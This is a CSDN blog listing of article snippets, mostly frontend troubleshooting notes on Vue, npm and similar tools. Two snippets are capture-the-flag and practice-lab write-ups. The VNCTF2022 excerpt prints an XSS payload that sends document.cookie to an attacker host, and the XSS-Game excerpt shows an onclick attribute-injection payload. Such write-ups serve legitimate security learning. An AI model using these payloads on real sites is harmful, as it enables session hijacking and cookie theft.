![](https://img-blog.csdnimg.cn/20201014180756918.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
前端
文章平均质量分 61
geinvse_seg
这个作者很懒,什么都没留下…
展开
-
VIDEOJS ERROR (CODE4 MEDIA_ERR_SRC_NOT_SUPPORTED) No compatible source was found for this media
如何解决VIDEOJS: ERROR: (CODE:4 MEDIA_ERR_SRC_NOT_SUPPORTED) No compatible source was found for this media.<template> <!-- 这个组件是m3u8事件留组件 --> <div class="container"> <div class="player"> <div v-if="src===''"> 视频播放失败原创 2022-03-12 13:19:56 · 6955 阅读 · 0 评论 -
vue-echarts的使用
首先下载:npm install echarts vue-echarts然后全局引入://main.jsimport Vue from 'vue'import ECharts from "vue-echarts";Vue.component('v-chart', ECharts)//全局注册在对应的文件里面具体使用(我这里是折线图):<template> <div class="verify-line"> <v-chart :options="l原创 2022-03-11 20:14:41 · 94 阅读 · 0 评论 -
uni-app使用uni-forms验证遇到的问题
按照uni-app官网设置验证,但遇到一个问题就是一进入页面,输入框没有获取焦点,直接提交表单,会验证通过了,官方验证:https://uniapp.dcloud.io/component/uniui/uni-forms解决方法闹了半天发现是绑定数据的问题直接把:modelValue="formData"改为 v-model="formData"即可验证完整代码如下: <uni-forms ref="form" v-model="regForm" :ru原创 2022-03-11 18:51:32 · 2326 阅读 · 0 评论 -
node、node-sass、sass-loader的版本兼容问题
目录使用scss报错当前node-sass、sass-loader版本测试步骤一步骤二解决方案解决node-sass问题node和node-sass版本关系这篇文章主要写node、node-sass、sass-loader三者引起的兼容问题。使用scss报错为什么要写这篇文章,安装最新版sass运行报错了。纳尼,最新版的既然不兼容。来看看错误提示 ERROR Failed to compile with 1 error原创 2022-03-11 14:50:54 · 2173 阅读 · 1 评论 -
JavaScript基础大总结
??JavaScript帝国之行??内容地址JavaScript基础大总结(一) ??https://blog.csdn.net/Augenstern_QXL/article/details/119249534JavaScript基础之函数与作用域(二) ??https://blog.csdn.net/Augenstern_QXL/article/details/119250991JavaScript基础之对象与内置对象(三)??https://blog.csdn.net/Augenster原创 2022-03-11 13:28:50 · 138 阅读 · 0 评论 -
element-plus的自动导入和按需导入
element-plus根据官网文档,推荐用户采用按需导入的方式进行导入。我的项目是使用vite进行构建的,根据官网的文档,利用unplugin-vue-components插件进行自动按需导入。当我们使用element的标签时,无需再使用import对组件进行导入。例如:<el-button>test</el-button>会自动引入ElButton组件。不过当我们想要使用命令的方式创建element组件时,样式会无法自动引入。我们以ElMessage为例。im原创 2022-03-11 12:07:12 · 1141 阅读 · 0 评论 -
2022年js基础面试题---持续更新
目录1.javascipt的数据类型1.1基本类型1.2引用类型1.3存储方式的区别1.4 undefined和null的区别1.5JavaScript什么情况下会返回undefined值?2.javaScript数据类型检测的方法?2.1 typeof??2.2 instanceof?3.创建函数的几种方式3.1 函数声明式3.2函数表达式3.3函数对象方式4.Javascript创建对象的几种方式4.1 字面量方式4.2使用构造函数??new关键字的作用:4.3工厂模原创 2022-03-11 10:45:40 · 248 阅读 · 0 评论 -
爬虫 - 解决 Executable path has been deprecated please pass in a Service object in Selenium Python 问题
目录# 1. 错误描述# 2. 错误原因# 3. 解决方案# 1. 错误描述# 2. 错误原因出现 DeprecationWarning 警告的类型错误:该类型的警告大多属于版本更新时,所使用的方法过时的原因,他在当前版本被重构,还可以传入参数,但是在之后的某个版本会被删除.查询当前版本重构后的函数,是之前的 executable_path 被重构到了 Service 函数里,如图# 3. 解决方案# -*- coding = utf-8 -*-# @Time : 2021/1原创 2022-03-10 11:42:13 · 1276 阅读 · 0 评论 -
学习Vue3 第一章
1.介绍vueVue (读音 /vju/,类似于view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。MVVM(Model-View-ViewModel)架构『View』:视图层(UI 用户界面)『ViewModel』:业务逻辑层(一切 js 可视为业务逻辑)『Mod原创 2022-03-10 10:17:51 · 2036 阅读 · 0 评论 -
关于react-router-dom 6.0.1的基础写法 解决Error A <Route> is only ever to be used as the child of <Routes>
在新建react项目中使用react-router-dom 6.0.1版本难免会遇到以下报错Error: A <Route> is only ever to be used as the child of <Routes> element, never rendered directly. Please wrap your <Route> in a <Routes>.首先要了解 6.0.1的写法更改了要切换的组件function Index().原创 2022-03-09 13:58:57 · 185 阅读 · 0 评论 -
【Pyhton 爬虫】正则表达式
文章目录1、正则表达式基础2、正则表达式的基本符号2.1 点号 `“.”`2.2 星号 `“*”`2.3 问号 `“?”`2.4 反斜杠 `“”`2.5 数字 `“d”`2.6 小括号 `“()”`3、Python中使用正则表达式3.1 findall3.2 serach3.3 “.* ” 和 “.*?” 的区别4、正则表达式提取技巧4.1 不需使用 compile4.2 先抓大再抓小4.3 括号内和括号外在爬虫的开发中,需要把有用的信息从.原创 2022-03-09 12:38:29 · 104 阅读 · 0 评论 -
vue报错 Failed to resolve component Toparea If this is a native custom element, make sure to exclude
原因:引入组件的时候,写成对象了问题解决原创 2022-03-09 11:15:13 · 1976 阅读 · 0 评论 -
Vue3---通过 ref 获取子组件实例(子组件中的DOM结构、数据、及方法)
Vue3中,如果要在父组件拿到子组件(子组件的DOM结构、数据、方法),可以通过 ref。即在父组件中定义响应式数据 ref(null) ,并绑定给子组件,在需要的时候,通过定义的响应式变量即可获取。获取后,即获取了子组件的一切,可以看到子组件的DOM结构,也可以看到子组件中对外暴露的的数据和方法,并且可以直接调用。官方API[这里是图片001]https://v3.cn.vuejs.org/guide/component-template-refs.html#%E6%A8%A1%E6%9D%BF%E5%原创 2022-03-09 09:54:14 · 1993 阅读 · 0 评论 -
VNCTF2022 web wp
GameV4.0js/data.js下有段FLAG的base64加密Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA==解码就行VNCTF{Welcome_to_VNCTF2022}gocalc0非预期xss,没有过滤,前几次一直不行,session解密木得flag,不知道最后怎么又可以了,www<script>window.open('http://ip:7777/'+document.cookie)</script>然后把s原创 2022-03-09 08:19:32 · 189 阅读 · 0 评论 -
runtime-core.esm-bundler.js5c406748 Uncaught TypeError Cannot create property ‘id‘ on number ‘0‘
<template #default="scope"> <el-button size="mini" @click="handleEdit(scope.$index,scope.row)">编辑</el-button> <el-popconfirm title="Are you sure to delete this?"> <.原创 2022-03-08 13:39:12 · 1094 阅读 · 0 评论 -
npm 无法将“npm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称
1、问题描述在vscode运行命令:npm run -dev报错。2、分析解决问题原因:npm环境变量配置问题。在cmd窗口输出node,回车后弹出信息node不是内部或外部命令,也不是可运行的程序,这时候就是环境变量配置的问题!方法一:以管理员身份运行(推荐)右击vscode,选择一管理员身份运行,即可解决问题。方法二:查看npm环境变量配置cmd运行node -v, npm -v检查是否安装。如果此时cmd窗口提示node不是内部或外部命令,也不是可运行的程序,依旧是环境变量的问题原创 2022-03-08 12:18:48 · 17035 阅读 · 0 评论 -
Javascript连接数据库并查询和插入数据
编译环境 : vscode数据库 : MySQL类库 : node准备数据库下载MySQL ,借助数据库图形工具或者在cmd上面编辑一下代码-- 创建数据库CREATE DATABASE IF NOT EXISTS SchoolTownDB;-- 使用数据库USE SchoolTownDB;-- 添加数据表CREATE TABLE school( id INT, NAME VARCHAR(10), X DOUBLE, Y DOUBLE ); -- 添加数据INSERT原创 2022-03-08 10:58:32 · 2037 阅读 · 0 评论 -
error ‘defineProps‘ is not defined no-undef
error ‘defineProps’ is not defined no-undef例如defineProps和defineEmits生成no-undef警告示例.eslintrc.js:module.exports = { env: { 'vue/setup-compiler-macros': true }}安装上面的配置完成之后就可以了大家也可以去官网查看vue3 no-undefhttps://eslint.vuejs.org/user-guide/#faq原创 2022-03-08 09:38:14 · 1382 阅读 · 0 评论 -
C# 正则表达式(Regex) 过滤内容的基本使用
先看英文意思命名空间using System.Text.RegularExpressions;正则表达式是干什么用的?简单来说就是 检索 数据个人比较喜欢用来过滤一些文本的内容和网页比如我有100w个文字想找到里面的几个数字用人工一个一个查找基本不可能但是使用正则表达式就可以在马上找到在编程里还是比较重要的简单了解后开始教程比如有一个记事本内容 要找出里面的5个数字 分别是 2 4 8 9 61.读取文本内容上面说的打开 并不是把文件打开 而是将文件打开在 缓冲区 才可以进行读转载 2022-03-08 08:18:14 · 267 阅读 · 0 评论 -
2022 全栈开发报告:Python “火”得实至名归、前端框架依旧是“三巨头”
随着科技行业的日新月异,许多企业对于全栈开发人员的需求持续高涨——全栈开发人员好比“全能选手”,具备解决软件开发过程中各个层面的各种问题的能力:既能开发客户端应用,也能搞服务器端应用,甚至产品设计也是他们来。在全栈开发愈发“吃香”的趋势下,全栈开发者这一群体也愈发庞大:不论 2020 年还是 2021 年,在知名技术问答网站 Stack Overflow 的年度开发者调查报告中,全栈开发工程师一直是最为主流的开发人员类型。但也因全栈工程师忙于软件开发的方方面面,难免疏漏某些行业动势。为此,全栈开发者 B原创 2022-03-07 21:08:29 · 191 阅读 · 0 评论 -
手把手解决“npm、node不是内部或外部命令,也不是可运行的程序或批处理文件”
解决问题:在使用cmd查找npm、node版本号时,出现错误“不是内部或外部命令,也不是可运行的程序或批处理文件”错误原因:未配置好环境变量提前准备:复制好nodejs的存储路径解决方法:点击“此电脑”,右击“属性”,点击“高级系统设置”点击“高级”选项卡中的“环境变量”首先新建一个用户变量,变量名为NODE_PATH,变量值为nodejs的存储路径。然后点击编辑Path用户变量,新建一个值为**#NODE_PATH#**最后点击编辑Path系统变量,新建一个原创 2022-03-07 08:20:50 · 5824 阅读 · 4 评论 -
下班前几分钟,我彻底弄懂了前端缓存
目录前言正文分类强缓存ExpiresCache-Control协商缓存Last-Modified 和 If-Modified-SinceEtag 和 If-None-Match流程图扩展缓存失效问题缓存存放位置前言前端缓存,这是一个老生常谈的话题,也常被作为前端面试的一个知识点。下班前几分钟,我回顾了一下其基本内容。正文分类前端缓存分为强缓存和协商缓存两种。强缓存强缓存主要使用 Expires、Cache-Control 两个头字段,当二者同时存在时 Cache-C原创 2022-03-06 03:27:19 · 85 阅读 · 0 评论 -
Web前端开发工程师知识体系_22_JavaScript core(三)
一、面向对象1.继承只要将方法定义放在构造函数中,那么每次new时都会执行function,这样就会反复创建相同函数的多个副本,导致浪费内存。如果将来发现多个子对象都要使用相同的功能和属性值时,都可以用继承来解决。父对象中的成员,子对象无需重复创建就可直接使用,就像使用自己的成员一样,这就是继承。js中的继承都是通过原型对象实现的,原型对象就是替所有子对象集中保存共有属性值和方法的特殊父对象。当多个子对象需要使用相同的功能和属性值时,都可将相同的功能和属性值集中定义在原型对象中。原型对象: 不用自己转载 2022-03-06 02:06:28 · 71 阅读 · 0 评论 -
vue3在 setup 中使用 props
vue3在 setup 中使用 props记录学习和开发中遇到的问题之前我尝试在 setup 中使用 props 是这样的export default defineComponent({ setup(props: any) { console.log(props.id) // 输出 undefined }})然而 却输出 undefined ,通过思考和查阅资料,与 vue2 做对比,少了 props 声明一步加上声明就可以了export default原创 2022-03-06 00:45:06 · 1053 阅读 · 0 评论 -
Node.js 商标转让给 OpenJS 基金会
在昨日的情人节当天,OpenJS基金会为保证JavaScript开源社区的持续增长,正式宣布收购Node.js徽标和商标的所有权。即日起,为Node.js提供长期赞助与管理的Joyent公司将把Node.js商标的所有权与管理权转让给OpenJS基金会,后者将负责Node.js的商标管理与维护工作。图源:OpenJS基金会官网Node.js是基于Chrome 的V8 JavaScript 引擎构建的JavaScript 运行时,由美国软件工程师瑞安·达尔开发。起初,Node.js的开发和维护工作是由达原创 2022-03-05 20:32:29 · 65 阅读 · 0 评论 -
npm WARN read-shrinkwrap This version of npm is compatible with lockfileVersion@1, but package-lock
npm WARN read-shrinkwrap This version of npm is compatible with lockfileVersion@1, but package-lock.json was generated for lockfileVersion@2. I’ll try to do my best with it!报错根据这个报错信息可以得出,目前你电脑npm的版本是适合于lockfileVersion@1的,但是你的package-lock.json是源于lockfile原创 2022-03-03 16:21:02 · 702 阅读 · 0 评论 -
jsfor循环里绑定onclick事件报错Uncaught TypeError Cannot set properties of undefined (setting ‘className‘)
我想要实现如下效果:点击上面的栏目,切换下面栏目的内容编写代码如下(主要看js部分)<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width原创 2022-03-03 15:16:33 · 935 阅读 · 0 评论 -
fastjson报错:write javaBean error, fastjson version 1.2.76, class io.undertow.servlet.xx,已解决
错误信息:com.alibaba.fastjson.JSONException:write javaBean error, fastjson version 1.2.76, class io.undertow.servlet.spec.HttpServletResponseImpl, fieldName : 0,write javaBean error, fastjson version 1.2.76, class io.undertow.server.HttpServerExchange, fiel原创 2022-03-03 14:12:03 · 2087 阅读 · 1 评论 -
Cannot read property ‘version‘ of undefined TypeError Cannot read property ‘version‘ of undefined
在VUE项目中遇到以下报错:Cannot read property ‘version’ of undefinedTypeError: Cannot read property ‘version’ of undefined at module.exports (/redball_download/node_modules/@vue/cli-plugin-eslint/index.js:20:27)如图:这个错误是代码检测工具eslint的报错 上面错误大致原因为我删除了在package.json中e原创 2022-03-03 12:20:36 · 788 阅读 · 0 评论 -
多张图带你彻底搞懂DNS域名解析过程
目录1、DNS2、域名系统DNS 的作用3、域名的层级关系4、DNS域名解析过程递归查询迭代查询5、高速缓存6、DNS相关面试问题1、DNSDNS(Domain Name System)是域名系统的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,用于 TCP/IP 网络。2、域名系统DNS 的作用通常我们有两种方式识别主机:通过主机名或者 IP 地址。人们喜欢便于记忆的主机名表示,而路由器则喜欢定长的、有着层次结构的 IP 地址。为了满足这些不同的偏.原创 2022-03-02 12:54:42 · 297 阅读 · 0 评论 -
盘点23个提高开发效率和美观性的 VSCode 插件
目录?? 什么是VSCode??? VSCode的下载安装?? VSCode插件集合?? 美观类1 CodeSnap2 :emojisense:3 Marquee4 Material Theme5 Bookmarks6 Bracket Pair Colorizer7 vscode-icons?? 编程类(前端)1 Vetur2 Auto Close Tag3 Auto Rename Tag4 formate: CSS/LESS/SCSS formatte..原创 2022-03-02 03:58:30 · 250 阅读 · 0 评论 -
实用技巧 Pyecharts可视化渲染为图片保存
使用 pyecharts 渲染成图片一直是开发者比较关心的功能,pyecharts提供了 selenium、phantomjs 和 pyppeteer 三种方式。更多介绍可以学习官方文档:https://pyecharts.org/#/zh-cn/render_images首先需要安装上snapshot-seleniumpip install snapshot-selenium -i http://pypi.douban.com/simple --trusted-host pypi.douban...原创 2022-03-02 02:54:52 · 1008 阅读 · 0 评论 -
企业级spring-boot案例-Spring Boot 上传文件(图片)
文章目录1. 添加依赖2. Spring配置3. 添加Knife4j配置类4. 添加枚举与实体类4.1 响应编码枚举4.2 上传文件信息4.3 统一返回前端的响应对象5. 文件上传接口与实现类5.1 文件上传接口5.2 文件上传接口实现类6. 初始化文件存储空间7. 文件上传控制器8. 启动类企业级spring-boot案例系列文章上线了,涵盖了大部分企业级的spring-boot使用场景,会不定期进行更新,企业级spring-boot案例源码地址:h原创 2022-03-02 01:51:16 · 243 阅读 · 0 评论 -
XSS-Game Level 4
第四关过滤了左右尖括号 “>”,"<" , 我们使用事件来绕过源码中 , 过滤了 ‘>’ 和 ‘<’ , 标签用不了使用htmlspecialchars() 过滤标签 , 但未重新赋值给 $str , 所以不会造成影响既然标签不能用 , 那我们就用事件绕过 , payload" onclick="alert(4)左边第一个双引号用来闭合value属性的左边双引号 , 第二个双引号用来闭合value属性的右边双引号页面代码变化如下<input name=k原创 2022-03-02 00:47:37 · 127 阅读 · 0 评论 -
vue3 script-setup 语法糖 父子组件通信 使用defineEmit,defineProps,defineExpose (useContext 弃用)
官方地址https://github.com/vuejs/rfcs/blob/script-setup-2/active-rfcs/0000-script-setup.md#closed-by-default新的写法相比之下写法变得更加简化,下面具体看是否真香子组件![在这里插入图片描述](https://img-blog.csdnimg.cn/20210623152824701.png组件传值父组件下面上源码//子组件<template> <div>原创 2022-03-01 23:44:19 · 909 阅读 · 0 评论 -
springboot升级log4j2,解决漏洞问题
最近log4j2爆出有重大漏洞问题,公司也紧急要求各个项目自己查验,要求将log4j的版本升到安全版本目前我们使用的是springboot 1.5.9版本,内置log4j2是2.7的版本,虽然整合了mybatis,但是log4i的版本依然是以springboot内置为主2个方案,一个是官方提供的,个人推荐,另一个是根据网上的总结出来的,测试结果也是对的方法一:spring官网推荐(强烈建议用官网的)https://spring.io/blog/2021/12/10/log4j2-vulnera.原创 2022-03-01 20:01:42 · 2140 阅读 · 1 评论 -
python——正则表达式(re模块)详解
在Python中需要通过正则表达式对字符串进匹配的时候,可以使个python自带的模块,名字为re。正则表达式的大致匹配过程是:1.依次拿出表达式和文本中的字符比较,2.如果每一个字符都能匹配,则匹配成功;一旦有匹配不成功的字符则匹配失败。3.如果表达式中有量词或边界,这个过程会稍微有一些不同。r:在带有 'r' 前缀的字符串字面值中,反斜杠不必做任何特殊处理。 因此 r" " 表示包含 '' 和 'n' 两个字符的字符串,而 " " 则表示只包含一个换行符的字符串。re模块的使用:import原创 2022-02-28 22:36:52 · 900 阅读 · 0 评论 -
Mybatis-Plus如何使用分页
文章目录Mybatis-plus如何使用分页1.写个Mybatis-plus配置类:2.写接口测试3.注意4.如果你还有查询条件1.Lambda表达式2.普通查询Mybatis-plus如何使用分页1.写个Mybatis-plus配置类:是通过拦截器实现分页@Configurationpublic class MybatisConfig { @Bean public MybatisPlusInterceptor mybatisPlusInterce原创 2022-02-28 20:24:07 · 546 阅读 · 0 评论 -
FLASK+VUE--前后端分离(三)- VUE+Element-UI搭建登陆页面且能够正常登陆
FLASK+VUE–前后端分离(一)- Flask基础讲解之路由、视图函数及代码实现FLASK+VUE–前后端分离(二)- VUE基础安装及项目的简易介绍FLASK+VUE–前后端分离(三)- VUE+Element-UI搭建登陆页面且能够正常登陆FLASK+VUE–前后端分离(四)- VUE+Element-UI简单搭建主页布局FLASK+VUE–前后端分离(五)- VUE测试/线上/开发环境地址配置+拦截器+全局导航守卫+基础配置+获取设置cookie等系列一、简单介绍所用到的基本库及安装配置原创 2022-02-26 23:30:57 · 3785 阅读 · 0 评论 -
JavaScript实现飞机大战
javascript飞机大战,你也能写!作者简介作者名:简介:CSDN博客专家,从事软件开发多年,精通Java、JavaScript,博主也是从零开始一步步把学习成长、深知学习和积累的重要性,喜欢跟广大ADC一起打野升级,欢迎您关注,期待与您一起学习、成长、起飞!系列目录1. JavaScript 贪吃蛇游戏2. JavaScript 俄罗斯方块3. JavaScript 扫雷小游戏4. JavaScript 网红太空人表盘引言:之前我有用Java写过一个飞机大战,感觉挺受欢迎的,有原创 2022-02-26 14:48:16 · 276 阅读 · 0 评论